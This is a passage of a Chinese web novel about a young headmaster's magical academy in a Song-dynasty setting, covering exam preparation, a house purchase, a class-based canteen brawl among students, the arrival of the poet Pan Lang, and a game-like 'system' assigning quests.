他忍不住将脸贴在松软的薄被上,打了个滚。 啊啊啊这书院,算是真的来着了! 不一会,有人敲门,他疑惑的下床打开门,低头一看,竟然是一个七岁的小萝卜头。 柳三变仰着头,一脸的委屈巴巴,在看到王世昌的脸之后,忍不住眼睛一亮,乖巧的行了个礼,道。 “在下柳三变,听说兄台一个人单独一间房,所以想问问你的意见,我能搬过来和你一起住吗?我的那个房间,人太多了!而且他们都长得好丑,味道也很难闻,我觉得你还不错,不知是否介意……” 老实说,若不是王世昌如今是个男人,且十分确定自己的伪装天衣无缝,他险些都要怀疑这七岁的小孩子是在调戏自己了! 他忍不住笑问出声,道,“你和谁一起住啊?” 对面的房间闻声顿时探出几个小脑袋来,小侯爷沈亦一脸的幽怨不忿。 “小爷我还没怪你臭烘烘呢,你 倒先嫌弃上我了,哼,我哪里长得丑?我母亲分明说过我是世界上最俊秀可爱的男孩子,你胡说,你不想跟我住一起,我还不想跟你一起住呢!我也要换房间,我也要自己一个人单独住!” 谢君仪翘着二郎腿坐在旁边的椅子上,一副看热闹的模样,暗暗拱火道。 “就是,咱们小侯爷是什么身份啊?怎么能屈尊和我们一起睡觉呢?反正咱们书院闲着的房间不少,你们去和山长哄一哄,说不定撒撒娇,哭一哭,就能争取到了呢?” “你就别添乱了。” 稍稍年长一些的郭胜开站在两个萝卜头中间,一脸的无奈。 两边都是大佬,全屋皆是权贵仕宦之家,惹不起惹不起。 也不知道这是怎么分的房,怎么偏偏就和这几个小祖宗凑到了一起?倒是他小小年纪,突然又当爹又当妈,光是调剂几人间的矛盾,便累的不行。 王世昌颇觉有趣,他自然也认出了郭胜开。 对方名气大,再加上笔试时得到了山长青眼,是很多人忌惮的对象。 两个人相视一眼,互相点了点头,权当作招呼。 最后还是惊动了楼下的师兄们上来调解,几位小祖宗这才勉强作罢,据说房间都是山长统一分配好的,不可能随意调换,没办法,他们只得忍下,收拾齐整之后,前往教学楼报道。 童启并没有按照实际年龄去划分班级,毕竟这不是现代,很多人的知识基础,与年纪并无关系。 他在询问过郭胜开的意见之后,将其和剩下的五个人合并,一起分到了二年级。 准备府试。 剩下的,则统一在一年级呆着,重新打基础,学四书五经,开始准备下一年的县试。 至于柳三变嘛,则被归属到了学前班,和童淳、童庆安一起学习。 柳大佬十分不服气,掐着腰质问道,“凭什么我要去学前班?我的知识储备量已经可以去一年级了!非常充分,不信的话,你考我!” 他可不是连字都不会认的小乞丐呢! 他《诗经》读过,四书也读过,诗词写的更是连祖父都称赞过的好吗?怎么也配得上一年级吧? 对此,童启表示的是。 柳大佬确实学的多,可是学的也非常杂乱无章,不知道启蒙师父是谁教的,没有任何系统,简直东一榔头西一棒槌,诗词全靠天赋去堆,字体和基础嘛,也一般般,完全不牢固,和一年纪的学生相比,还是有点跟不太上,所以直接扔进学前班,回炉重造。 当然,最主要的还是童启想要压一压他。 毕竟历史上柳三变屡试不中,这才走了极端,有时候太过急于求成,并非好事,还不如在书院里好好读几年书,扎牢了,再去科考,到时候师兄们也全部上场了,他多少也有些经验可循。 反对无效,柳三变气哄哄的跟着童淳一起去上学前班。 有了各自的目的和方向,大家的任务,也被彻底区分开来。 温叶辞带着新生们重新开始系统的梳理四书,参考嘛,就按照童启之前准备的教案就行。 反正那教案越写越厚,补足了不少人的视角,就连安庆侯本人,偶尔也会借去读一读,颇感受益。 学前班暂时交给了清虚子和谢羽帮忙带,童启则一股脑,带着二年级的学生,扎进了试卷堆里,继续开始了卷生卷死的考前冲刺。 距离府试只差一个多月了。 其他五名学生对于这种训练方法,早已经是司空见惯,相当熟悉,一听冲刺月,顿时便自觉的收拾东西往外走。 倒是郭胜开迷迷糊糊的抱着笔墨跟上,颇有些摸不着头脑,一直走到一处偏僻处,他这才发现了六所模拟的考院建筑。 “没见过吧,咱们起码还要在这里呆上一个月呢,做好磨掉一层皮再出来的打算吧?好奇我们怎么一年考上县试的?就是反复考,考到麻痹为止,便很容易考上了。”杨舟万说着,露出个沧桑的笑容来。 旁边吴韧忍不住安慰道。 “忍一忍吧,等上了考场就解放了,亲测过,县试出的题可比山长出的,要简单多了。” 好家伙,头一次听说上了考场算是解放的? 郭胜开迷茫不已。 可等到开考,所有人全面准备冲刺,那股真实的氛围也不由瞬间将他带了进去。 郭胜开还未参加过府试,和童启懒得参加不一样,他是在考完县试之后,就倒头病了许久,直接错过了府试时间,等第二年再想上场,却犯了一听闻考试便手脚颤抖、呕吐不已的病症,由此耽误了下来。 这模拟考虽不是真的,可是那氛围却是实打实,还未开考一会儿,郭胜开便憋不住大吐特吐起来。 童启立马按响了中断键,让清虚子来给郭胜开看一看。 他简单的排查了一番,道。 “没什么大毛病,就是紧张。” 没想到好好的一个苗子,竟然会有这么个毛病,童启颇感意外。 温叶辞倒不觉得惊讶,他见过不少这种考生,都是屡试不中,克服不了心中的压力,最后不管多么有天赋,到了考试就怯场,往往一辈子都蹉跎在科考之中,结局令人唏嘘,如今还没有见过能够彻底治好的。 童启却不服气。 怎么可能治不好,不就是考前焦虑吗? 那还是考的少了! 他直接将郭胜开的桌子搬回了空教室里,单独给他开小灶,进行封闭式考试。 吃穿用住皆打地铺在考场之中,就这么来回考着,每日睁开眼就是考试,闭上眼还是考试。 持续一周后,郭胜开别说焦虑了,脑子里连其他的想法都没了,净是清澈感。 然后童启才将他的位置再次移回到了号房里,跟着大家一起模拟。 这次郭胜开虽还会紧张,可却没那么严重了,只是面色苍白一些,没有再吐。 反复折磨了一个月后,所有二年级学生被领着前往州城参加府试。 这一次,依旧是童启亲自带队,请了全胜镖局的人,全程保驾护航。 他安置了学生们后,再次拜访了当地的学政大人,这次,总算对方不再是第一次见面时,那样鼻子不是鼻子,眼睛不是眼睛的模样了。 见到他进来,王学政忍不住打趣道。 “嗯,带学生来考试了?这次觉得能够考中几个啊?” 童启笑盈盈,行了个学生礼,道,“那自然是多多益善了。” 学政大人冷哼一口气,“口气倒是不小,既如此,那便看看他们的表现吧。” 两人简单的叙了个旧,因着避讳,也没多言什么。 从王府中出来,童启忍不住动了在府城内购买一套房子的打算。 毕竟以后每年都要带学生们来参加考试,总是租住在客栈也不太像话,而且有一个落脚的地方,以后来办事,也不必再急着找房间了,关键是还安静、安全! 平日里没人住,也可以放放东西,卖卖货什么的,当作一个零售铺子来用。 于是,心里琢磨着,等将学生们一起送进考场后,童启便带着镖局的人,慢悠悠开始逛起府城来。 上一次他们来这里,还只是匆匆考完,匆匆回去,连看也没有多看一下。 许是如今有了琉璃的生意,整个府城的精神面貌倒是好了很多,街道上多了不少卖吃食玩具的,有那做工精致的,一般的老百姓倒也舍得掏钱去买,给孩子们甜甜嘴。 童启边逛边打听着府城内的物价,找了当地的牙子,一起看房。 那牙子一听是给书院购置房屋的,顿时热情不已,小嘴喋喋不休道。 “哎呦,您找我可算是找对人了,这整个河南府,再没有谁比我更清楚哪里有好房子的了!既然您是准备给考生落脚用的,那我建议您找的地方距离考场,不必太远,挨着东街的这家是最为合适的,整个买下来也不过才50两银子,三进三出,一共十二个房间,宽阔敞亮,关键是还安静,前后便是县衙,安全更是没得说,还自带一口甜水井,闲了可以自己做饭,连水都不必担!以前是个富商居住,因着归家所以才想要卖掉周转资金……” 童启跟随着介绍,一一推开院门查看,只见这宅院古色古香,干净整齐,不用太过修缮,便能立马拎包入户,便忍不住点了点头,问道。 “这屋子,和前面那 铺子是连带着一起卖的吗?” 牙人犹豫了一下,“哎呦,您这可算是问着了,前面和这里还真不是一家人,不过他家的铺子本也是打算卖的,找了好久的租户,也不知签了契没有,您若想一同买下,我可以帮着问问。” 那牙人恐也没想到一遇见就来了个大单,顿时热络无比,当即便要去寻前面的东家。 童启询问了一下价格区间,让他尽管去试一试,能尽量买下,还是尽量买下。 毕竟就是图方便,若这个地方不行,也不是不能换个地方。 书院里剩余的资金不算少,再加上第二批新生入学交的学费、住宿费等费用,童启如今的小金库,已经成功突破了四千多两银子,相当丰厚。 他静静的等在院子里,半晌,那牙人才一脸焦急的走了回来。 “坏了,已经有人签了契了,说来也巧,他们刚刚签完,咱们就问了,不过那人听说您是华夏书院的山长,说是可以退让,只愿见您一面。” 退让? 难不成是什么熟人? 童启疑惑着,忙请人进来,却见到是一个高大壮硕,皮肤黝黑的汉子,并一个女孩子缓缓走了进来。 两个人自言乃是兄妹,是去年涝灾时,从南方逃到的河南府,幸亏当时华夏书院给的救济粮,这才及时救了一命,否则,早死在路上了。如今拼命攒钱,就是想在此地开一间杂货铺,卖点东西,权当作生存之计,却不想正好遇到恩人,喜不自胜,这才请求当面见一下,以示感谢。 童启感慨着,没想到还有这种缘分,听到他们也想要开杂货铺,便询问道。 “那你们杂货铺里打算卖些什么东西?” “什么都卖一些,柴米油盐,酱菜酸醋,都是些便宜杂碎,我这一年认识了不少商人跑腿的,他们可以帮忙捎带……”刘默坦言道。 “那介不介意一起卖一些吃食?例如方便面、小面包、卤蛋、火腿肠什么的……咱们可以合作,我虽然收了你这铺子,但是却愿意将这铺子依旧交给你们来帮忙管理。如何?” 这些都是华夏书院早已经出名的吃食,听说是专门供给书院学生以及劳役出众的一些人的,即便是有人想买,大多也找不到哪里有卖的,如今竟然愿意在河南府开个店,专卖这些,这不是明晃晃赚钱的生意吗? 且还雇佣他们,一起管理? 两兄妹忙点头同意。 童启和两个人当场签了契,也不让他们搬走了,反正前面本身就是得雇人工作的,如今雇了他们,依旧住就是。 正好两个人一个人运货,一个人买卖,顺带着看着一点后面的屋舍,偶尔打扫一下,也更方便些。 谈好了价钱,付完了款,几方均开心不已。 而华夏书院的学生们,此刻也正在考场上如鱼得水。 郭胜开还是头一次如此清晰的感受到同窗们所说的“简单”二字,可能真的是考山长那变态的题型考多了,头一次遇见如此正常的,他竟然有一种莫名的怀疑,总是忍不住多思一些,这背后是不是还有其他含义,好在想到山长临行前反复叮嘱的,不必多想,他这才勉强拉了回来。 一路顺遂,等出了考场,山长已经等在了门口,将他们接回刚买的屋子里,洗漱休息。 几个学生们小声讨论着题目,吴韧悄悄的看了郭胜开一眼,颇有些忌惮。 原本他便是伊川县的县案首,如今郭胜开来了,等于书院内又多了一个同样处于优势的人,一时之间,倒是难决雌雄起来。 小三连,山长不在乎,可其他人却不可能不在意。 谁能拿下这次的府案首,便成了默认的赌注。 第35章 第35章拉帮结派 第一届的学生们跟着童启在州府里等待着府试成绩。 而第二届的学生们无人管束,则差点在书院里闹翻了天。 即便穿着一致、吃住行皆一样,可少爷就是少爷,下人就是下人,天生的阶级感如同难以逾越的鸿沟,即便一时被遮掩,也永久存在着,难以消解。华夏书院内遵循着上下平等一致,不讲身份地位的原则,可不是所有人都能那么快接受,并认同这种思想的。 尤其是根深蒂固从小耳濡目染的观念,更是很难迅速改变。 同一个村子出身,一家是当地豪绅之子,另一个却是家境贫寒,曾佃过少爷家农田,亲眼见过父母对其点头哈腰,口中讨好的平民孩子。 那么,再次在书院里中相遇,又怎么可能会相安无事,平起平坐呢? 这种不平衡感,从刚入学时期便开始缓慢的发酵,直至童启带着人离开之后,没有师兄、山长作为威慑,很快便如同燎原之火,熊熊燃烧起来。 食堂内。 戚风言不悦的看着远处的莫小川,如鲠在喉,难以下咽。 换做以前,一个下人的孩子哪里有资格跟他同桌吃饭?且吃的东西还都一样,毫无差别? 十几年的人生经历,没人教会他什么公平,只教会了他捍卫自己的特权,而如今,一个下人成为了他的同窗,戚风言不觉得喜悦,只觉得丢人。 他感觉到自己的权力正在慢慢的流失,更感觉到了一种难以言喻的被挑衅的感觉。 忍无可忍,终于到了爆发的时机。 “学院是真好啊,尽收留这些乞丐人物,这什么世道,下人也能上桌吃饭了?也是,脸皮厚的人确实忘性大,不记恩,不是当年跪在我们家门口,求着少收些田租子的时候了,简直倒转阴阳,荒诞无礼。” 他不忿的踹了一脚旁边的凳子,阴阳怪气的说道。 整个食堂内顿时安静了下来,众人小心翼翼的互相看着眼色,猜测着这是在说谁。 莫小川握紧了筷子,低下脑袋来,没有回应。 见到对方心虚,戚风言更加气愤,筷子一丢,便站起身来,朗声骂道。 “哼,装什么装?别以为山长一时承认了你,你就能和我同一级别了,下人就是下人,这辈子读再多书,那也是下人!我们之间隔得可不只是学识,还有几辈子的积累,想以下犯上,把我给压下去?趁早别做梦了!要我说,人就应该有自知之明,也不看看自己满身的污臭,配不配的上这圣贤之地,还是早点离开,莫污了这师门才是!” 戚风言的话并没有激出莫小川出来磕头认错,反扫到了其他贫寒出生的仕子们,其中一人忍不住回道。 “戚风言,你这话说的便有点过分了吧?大家都是同窗,哪里来的上下?又哪里来的高低?以学识论长短罢了,少提那什么出身!” “就是,你不过一个豪绅之子,有什么可得意的?不过老子娘多积攒了一点银子罢了,假以时日,还未必比谁强呢,没看见人家小侯爷沈亦都没有说话么,你又有什么资格站在这里大放厥词啊?” “我怎么没资格,就许你们不要脸,还不许别人说么?” 眼见着戚风言和其他人吵了起来,莫小川有意阻止,可嗫嚅两下,终究张不开嘴,只得怯怯站在一旁,不敢说话。 平白无故被点名的小侯爷沈亦口中正咬着鸡腿,茫然的看看左右,不知道又干了自己什么事。 柳三变正看着热闹,见状,顿时指着他取笑道,“你们家小侯爷也未必是没有意见,只是无暇理会,一整颗心都投在饭食上罢了!好端端的,不知道的还以为是安庆侯不给你饭吃呢,至于吃的这么急么,倒是比童庆安更像是个小乞丐招进来的哈哈哈哈!” 众人看了眼沈亦的餐盘,见大多数食物都已经被吃的干干净净,顿时笑出声来。 小侯爷既尴尬又丢脸,大怒道。 “你说什么?你才是小乞丐!是谁都七岁了,还在上学前班啊?丢不丢脸?” “我那是特殊待遇,山长故意照顾我!” “哦,让你和小乞丐一起读书的照顾么?” 见到话题中心猛地偏离,旁边的谢君仪忍不住插话道,“你俩有什么可吵的,反正都是权贵阶级,他们争,也碍不着你们什么事儿。” “谁说我是权贵?我也是寒门好吗?”柳三变不服气道,偏不愿意跟沈亦站在同一帮派去,甚至拿出自己祖父来举例,“我家世代耕读,往上数,可是当地有名的农家子,谁跟他们这些吃着民脂民膏的外戚是一派啊?” “你说谁家是外戚!”一听这话,沈亦是彻底怒了。 他家可是实打实打下来的功绩,和那些靠着女人上位的怎么可能一样,这分明是侮辱! 就连谢君仪也忍不住变了脸,琅琊谢家可是每年都往宫里送人,走的便是外戚的路,这话放在权贵豪门中简直是绝杀,无一可逃脱。 果然,柳三变话音刚落,便有几个出身权贵的学生站了起来,质问道。 “少拿什么背景说话,你们又比我们好在哪里了?不过是可怜一些,懂得哭罢了,真比起来,还不一定谁比谁强呢!” “哼,黄口小儿,毛都没长齐,倒学着去评判别人家世了,先拿树叶子把自己屁股给擦干净吧!” 这话听着污秽,可却是当代区分权贵和下人最好的方式。 权贵者连如厕用的都是绸缎,可下层人,一生连纸都没见过,衣不蔽体,更别说其他,通常方便完只能用石头、树叶子去解决。 以此作为嘲讽,实在是杀人诛心。 一提这个,莫小川终于是忍不住了,“我们用树叶子那是不浪费任何东西,你们富贵也不过是靠着爹娘,又觉得很光彩么?” “难不成我们有钱有权还是错处了?有本事下辈子投个好胎,这也是一门学问啊!”戚风言回怼道。 这一句话,直接将书院里两派的人划分了出来。 穷与富、权与民,顿时泾渭分明。 小乞丐童庆安在书院里也呆了几个月了,见大家吵得凶,连忙劝道,“大家别争了,都是同门师兄弟,何必闹得那么僵呢,等先生们看见了,又该挨骂了。” 说着,便上手去拉小侯爷沈亦的袖子。 沈亦正在气头上,哪管其他,一抬手便将人推了出去,“你一个小乞丐,又有什么资格管小爷的事情?” 庆安被狠狠推倒在地,绊了一个踉跄,童淳焦急的立马去搀扶,顿时也怒了。 “你骂谁小乞丐,他论理,可还算是你们的师兄呢,况且他有名字,别一口一个小乞丐的,他叫做庆安!” 因着童淳是山长的弟弟,大家都不敢跟他吵,可是谢君仪却早就看不惯对方,暗暗拱火道。 “我可不想承认有这么一个师兄,你们若喜欢,你们自己去认,本少爷可不要,回头说出去,还不够丢人的呢。” “我也不认,哪门子的师兄?呸。” 童庆安坐在冰凉的地上,被嘲笑的眼中噙着一泡的泪水,好不可怜。 柳三变虽毒舌,可却最是心软护短,看见这架势,顿时气不打一处来,拿起桌上的餐盘,便砸向了谢君仪。 “又关你什么事,要你多嘴?” 可谢君仪哪里是吃亏的? 见他动了手,也不含糊,拿起旁边的米饭便直接倒在了柳三变身上,顺带着还甩了一把小侯爷沈亦,沈亦顿时大哭起来,无比狼狈,急得几个权贵子弟连忙帮忙报仇,见他们撕破了脸,贫寒士子们也不愿再忍了,纷纷开始反击。 场面一下子顿时失控起来,整个食堂内打成一片。 大多数吃过苦的寒门学生都不愿意糟蹋粮食,死死的护住自己的盘子,可权贵豪绅们却没有那种概念,越是汤汤水水的,便越是扔的凶,甚至还专门提起一些粥米,往人脖子里砸。 王厨娘和小花急得不行,连忙出来阻拦。 “别打了,一会儿先生们要来了,别打了!” 可谁在意? 尤其是小侯爷沈亦那更是不怕任何人,撸起袖子便和柳三变扭打了起来,如今正是山中无老虎,猴子称大王的时候,温叶辞和清虚子又一贯温和宽厚,很少动怒。 学生们只有敬,没有怕。 于是,等两位先生闻声赶到的时候,整个食堂内部早已经是一片狼藉。 残羹剩饭被倾倒在地上,锅碗瓢盆若不是铁质的,只怕也早就被踩坏了。 领头动手的几个小子发髻散乱,衣服袖子、领子均都被扯的翻飞,后脑勺处还粘带着不少粥米,就连一向风度翩翩的温叶辞,见到这幅景象,都忍不住红温起来。这群小败家玩意儿,也就是童启没看到,不然还不被气死?! 沈亦和柳三变这才发现自己把事情闹大了,顿时弱唧唧的站在一旁,不敢再多言。 倒是谢君仪浑然不怕,有着要犯错大家一起犯错,要开除一起开除的架势,死猪不怕开水烫样。 清虚子气不打一出来,颤抖着指着他们这群人。 “都给我滚出去罚站,晚上不准吃饭,等山长回来,看怎么收拾你们!” 一溜人全部站在了墙脚下罚站,课也不必上了,顶着那大太阳,直站的脚酸腿酸,眼冒金星。 尤其是柳三变和沈亦、谢君仪几个人,罚的最狠。 不仅要负责食堂后续的打扫卫生,还要连着饿三顿,不准吃任何东西。 剩下的学生们也没避免多少,只除了王世昌去晚了,成功躲过一劫。 眼看着对面205宿舍全军覆没,他有点难以理解。 这群孩子是真的闲啊,刚考进来的时候一个个是满肚子的期待,真被录取了,却各种拉帮结派,打架斗殴,说好的学习呢,说好的科举呢? 这书院这么大,都摸索清楚了吗?等山长回来,那才是真的没有时间呢! 还有功夫在这里扔东西玩儿? 他之所以来晚了,主要还是他这几日发现了一个更好的地方——藏书阁。 由此也终于弄懂了师兄们避之不及的原因,竟是因为门口摆着一个铜人阵,需得打过去才能进入!王世昌是那等轻易认输的人吗?越是难进,他便越是好奇,潜心研究了好几天后,她终于发现了一个小技巧,那便是不必一味的去打,只要避开最关键的那几步,就行了。 铜人阵的机关设置是是规律可循的,只要按照固定的路径,躲开攻击,便有机会绕到后方去。 他反复研究,身上挨了不少的伤,终于只差最后一步,便能够闯入,因此特意回来,拿上笔墨和吃食,准备进去一试。 没想到倒是阴差阳错,避开了一场战争。 吃过午饭,简单拿了点东西,王世昌请过假,再次前往藏书阁,挑战阵法。 这一次终于一次性成功! 他站在院子里,看着一楼门口树立的碑文,满心激动,还未进入,却听到不远处墙角有人说话的声音。 “咦,这地方也翻不过去吗?我就不信了,这么大的书院竟然连个漏洞都没有,这个清虚子,说好的千里迢迢请我来,却连个大门都不开,人呢,都死哪儿去了?” 隐隐听到有人在爬墙的声音,王世昌顿时想起一个多月前传说有贼人夜半翻墙,结果差点被雷电电死的事情,连忙出声阻止道,“谁在外面,千万别乱爬,这里的墙上是有阵法设置的,如果翻越,会被雷电劈中的!” 什么? 雷电之力? 这不是一家书院吗,怎么整的这么神神叨叨的? 潘阆束起袖子,站在墙外,听到回应,忍不住吐槽道。“我还以为你们书院没人呢,合着有人啊, 叫半天都没人理,这位小生,既然你听到了,不妨替我开个门吧,或者搭把手,直接把我拽进去也成。” 这是能搭把手的事吗? 王世昌无语至极,他想起方才学生们大闹食堂的事情,立即知道了前方无人应声的原因,估摸着是巡逻队的人都去食堂拉学生了,所以前方没有人守门。 “你且等等,”他解释道,“我暂时出不去,因为这地方我也是费了九牛二虎之力,才好不容易闯进来的,一时半会儿估计走不开,要不你再去前面瞧一瞧,或者等一等,我忙完了,便立刻替你出去叫人。” 什么事是比迎接未来先生还要重要的? 他可是潘阆啊! 头一次被如此晾在一旁,他辈觉新鲜,索性也不急,直接撩起衣服,坐在了地上,回应道,“好吧,你闯的什么关,竟如此难?还费了九牛二虎之力,说出来听听,我倒要看看里面是什么好宝贝,也值得我等一等?” 隔着两道墙,王世昌心不在焉的回应着,终于凭借着木牌,进入了藏书阁的第一层。 甫一进入,琳琅满目的书架,便令他整个人愣在了原地。 天哪! 他默默张大了嘴,无声的回应道,“宝贝,确实是宝贝,这简直是天大的宝贝啊!” “什么?你说什么宝贝?”潘阆侧耳趴在墙上,努力想听清对方在说什么。 王世昌不自觉大声回应道,“这里竟然有全套的四书五经史抄本!还有我找了很久都没有找到的《齐民要术》!还有《后汉书》、《九经字样》!” 如同一个骤然钻进了粮仓里的老鼠一般,王世昌快乐极了。 之前遭到无数次铜人的殴打,在这一瞬间,仿佛也成为了最好的勇士徽章!满身痛苦瞬间被消解,若能够就这样长久的伴着这些书籍长眠,他愿意再被殴打无数次好嘛! 难以掩饰这种浑然一体的快乐,墙外的大儒潘阆,闻声更是激动起来。 “什么?《九经字样》?那里面竟然有《九经字样》吗?小子,你是在藏书阁?等等,那你帮我看看有没有《管子》全篇!还有,《文心雕龙》可有全套的?尤其是后半部分,是否有残缺?” 这个年代,印刷行业发展的还不算特别好,活字印刷书并没有被研发出来,整个藏书界仍旧处于半垄断状态。 许多孤本、残本缺失不全,全靠手抄,有时候抄着抄着就丢了。 若是华夏书院真的有完整版的,那潘阆无论如何也要留下来,只为了这一本书! 王世昌没看过他说的这两本,仔细查找了一番,还真发现了《管子》全篇,“有诶,这里真的有《管子》,还是完整版!但是《文心雕龙》我没看到,也有可能是在第二层,我目前权限到不了,暂时上不去。” 他查看过了,二楼处的封锁,有一个自动检测的凹槽,估摸着是要将铁牌放上去才行,他方才拿着木牌试了一下,滴滴滴的警告声,表示不能进入。 他曾听师兄们和先生提起过,山长手里有三种牌子,木牌可以开启一楼,是每个学生都有的,铁牌能开启二楼,如今只有几个先生手里有,至于三楼的玉牌,估摸着整个沧澜山,只有山长手里才有了。但只要他们不断往上考,便能不断往上爬,就如同科举的阶梯一般,一节又一节的往上走,他喜欢这种感觉。 热血沸腾! 潘阆听到这,早已经按耐不住了,也不管什么其他,拎起衣摆便往大门口处跑。 正好安保队的人刚刚处理完挨罚的学生们,如今看到潘阆冒头,顿时吓了一大跳,听闻乃是清虚子请来的先生,连忙通知本人,往内请。 还未走到厅堂,清虚子已经大步走了过来,伸出手臂,便想要和对方好好寒暄一番。 “哎呀,你总算来了,老朋友!” 然而潘阆却直接躲了过去,急不可耐问道。 “铁牌子呢?我的铁牌子呢,我也要铁牌子!” 什么铁牌子? 鸡同鸭讲了半晌,清虚子这才知晓是藏书阁的事情,他哭笑不得的掏出自己的牌子递了过去,“如今山长不在,带着学生们去府城考试了,还未归来,这是我的,你若想要可以拿去先用,但我必须告诉你,如今的藏书阁可能不太好进,门口有……” 话音还未落,那潘阆早已经一把拿过铁牌子,冲向了藏书阁的方向。 跑的连影都见不得了。 谢羽默默的站在一旁看着,忍不住询问道,“那个,师父,他知道藏书阁的方向在哪里吗?” 清虚子:…… 所以,为什么他找来的人都这么不靠谱啊! 不管是老师还是学生,一个比一个不正常的! 啊啊啊啊山长你什么时候回来啊?救救我,救救我! 这边被师生关系搞得崩溃不已,全书院上上下下都格外思念起山长来。 而另一边,即使没有在学校,也充分掌握着书院内所有动态的童启,猛不丁收到了两个系统提示。 【叮,招募名师日常任务已完成,声望值+1000,您的声望值余额已经达到了6357,请宿主继续努力!】 【叮,请完美解决学生之间拉帮结派的问题吧,将结党营私提前扼杀在摇篮中! 成功:奖励活字印刷术一套 失败:物理抹杀】 又来了,这熟悉的物理抹杀。 童启无力吐槽,老师这个他倒是清楚,是清虚子之前说要请来的大儒,估摸着,也是时候到达了,听说极其擅长做诗来着,有着清虚子本人亲自招待,应该没什么关系吧? 至于学生之间的拉帮结派……那是什么? 他不过就只是几日没有在书院内罢了,怎么就上升到结党营私的地步了? 童启挠了挠脑袋,心中疑惑万千,虽急切想知道到底发生了什么,可府试的成绩还没张榜,他再好奇,只能暂时按捺下来。 第36章 第36章(加更)著名三问 而书院内,被狠狠惩罚了一番的学生们,依旧没有达成和解,反而愈演愈烈。 205宿舍内部正式分裂。 柳三变和小侯爷沈亦被分别推举成了代表贫寒出身和权贵豪绅的两个帮派领头人。 他们的身后分别有着童启的弟弟童淳、小乞丐童庆安,以及一众以吴韧、常仕进、郭胜开为代表的平民阶层;琅琊谢家的谢君仪、戚风言,以及以汪启元、刘卜温等豪绅富贵之家为代表的权贵出身。 两方视同水火,互相看不上眼,一触即燃。 不仅上课互相斗嘴挑衅,吃饭更是直接分成了楚河汉界。 但凡有人逾越,便会群起而攻之。 原本不想参与的学生们,渐渐也被迫裹挟着站了队,否则一着不慎,便很容易上升到背叛阶层!背叛群体的地步。 清虚子和温叶辞皆为了此头疼不已,但奈何说也说不听,骂也骂不动。 几个人身份贵重,且涉及人数之多,完全无用。 没办法,他们只得放弃,任由事态发展,等待着山长回来后,再行解决。 而王世昌则无知无觉,和新闯进来的潘阆先生一起,在藏书阁内不眠不休抄写了三日。 三日,他俩都没出去,只是不断的抄写,将想看的书籍誊抄到洁白的纸上,饿了就啃从售货机里买进来的面包卤蛋,渴了就喝竹筒里带过来的水,直至将所有食物消耗完毕,这才终于舍得出门。 期间,王世昌抄完了两本想看的书,而潘阆则在二楼翻找到了不少没看过的孤本、残本。 双方皆十分满意。 若不是还有其他事要做,只怕让他们一辈子住在这里,也是甘愿的。 互相约定了找机会再来后,两位师生这才慢悠悠走出了藏书阁。 王世昌一路哼着歌,抱着抄写好的书,进入宿舍楼内,心情愉快。 可刚一入门,便立马被人给围上了。 “王世昌,听说你竟然破解了进入藏书阁的方法,也太不仗义了吧,为什么不跟我们说?你可是我们寒门阶级的人啊!” “笑话,凭什么跟你说?人家王世昌祖父可是当地的县丞,父亲更是有名的举人,如今他暂住在大伯家里,听说也是从商的,根本不差钱,这分明就是 我们权贵一派的才是,不信的话,你让他自己选!看愿意去哪里?” “自己选就自己选,他肯定不会选你们那些毫无头脑的人的。” “哼,难不成就会看得上你们这些穷酸货么?” 双方咄咄逼人,你来我往,分毫不让,直直的看向话题中心人物。 王世昌汗如雨下,压根不知该如何回答。 正紧张着,这个时候,童启带人回来了。 清虚子和温叶辞闻言,顿时大松一口气。 伴随着“山长回来了!”的一声呼喊,整个书院里霎时活了起来。 谢君仪知晓自己一定会遭骂,早已经偷摸摸藏了起来,不敢露头。 沈亦和柳三变更是吓得大气不敢出,勒紧了头皮,满心紧张。 两个人都没想到山长会回来的如此之快,他们本以为带队去府试应考,怎么也得走上个大半月!恰好趁此时机争出个是非来,那么等山长回来后,刚好能抹平这些日子的闹剧,重新装乖。可谁知刚开了个头,还没斗上几斗呢,便被抓了个现行,直接打散了他们满腹的戾气。 两人强撑着气势,硬着头皮去面对那即将到来的狂风骤雨。 不料,童启却直接跳过了他们,没有理会,而是率先接待了新来的先生——潘阆。 回来的路上,他仔细搜索了一下潘阆的资料。 这不查不知道,一查吓一跳,原来,这就是历史上那个著名的诗词大家潘阆! 写有《酒泉子》组词十首,气势雄浑,被誉为“宋词豪放派先声”鼻祖的那位! 就连寇淮、柳开都与其互为好友,写词唱和来着的! 这简直就是瞌睡了送枕头,巧了么不是? 有这样的诗词先生来教授课程,他还怕什么短板啊? 况且对方朋友遍天下,说不得什么时候就又拐了一个大儒过来教书呢? 于是,童启一个箭步,一把便上前拉住了潘阆的手,情真意切的说道。 “您就是潘阆先生吧,我实在是苦等了先生太久了啊!清虚子道长,如此大才,您怎么不早点说呢?” 清虚子:??? “我们书院正缺像您这样的老师,给学生们讲述诗词一道的学问啊!欢迎欢迎,这次来了就不走了吧?您放心,给您的待遇那一定是行业内顶流!包吃包住,每月二十两银子,还附赠两个小厮,任您差遣!有什么需要的,尽管提,只要我能够做到,一定尽量满足您!” 头一次见到童启如此殷勤,温叶辞和清虚子均有些说不出口的郁闷。 喂喂喂,我们才是跟着你最开始打天下的人啊! 是不是有点太双标了! 童启不管,只是仰着头,用那双亮晶晶的无辜眼睛可爱的注视着对方。 不断的发送着邀请信号。 潘阆一脸惊奇。 一来嘛,依旧是惊讶童启的身高和年纪,二来则是疑惑明明传说中,华夏书院的山长是个极其会骂人的人来着的,他想象中应该是一个暴躁老头才对,这怎么说起话来,却如此谦卑动听? 搞得他头脑一热,都险些要被这迷魂汤给吞噬,当场答应下来了。 他忍不住甩甩头,清醒了一下,这才勉强找回了一丝理智。 “待遇什么的好说,我只有三问,想要询问山长,若是你能够回答的令我满意,我不仅会留下来,倾囊相授,还不需要任何束脩。如何?” 不要钱? 又是一个跑过来做慈善的吗?他喜欢! 童启忙伸出手,请对方上座,道,“先生请讲。” 潘阆见他不慌不忙,一副尽在掌握的淡定模样,暗地点了点头,转身坐下。 “第一问,我问你这书院想开到几时,背后的目的又是什么,忠君爱国,你忠的是哪位君,又爱的是哪个国?” 潘阆话音刚落,在场所有人无一不面色一变。 清虚子忙起身将门关上,慌张道。 “潘阆……” 他满脸担忧,潘阆淡定的伸出手,示意他先别开口。 童启垂眸沉思了一瞬,点点头,示意他说出第二问。 “第二问,我想请问你以后是否还要参加科举,若入朝后,反不如弟子般受到重用,又会如何?” 温叶辞猛地看向童启本人,这其实也是他一直想要询问童启的问题,只可惜从来没遇到过合适的时间,没想到,反倒是潘阆率先问了出来。 “至于这第三问嘛。”对方停顿了一下,摸了摸自己的胡须。 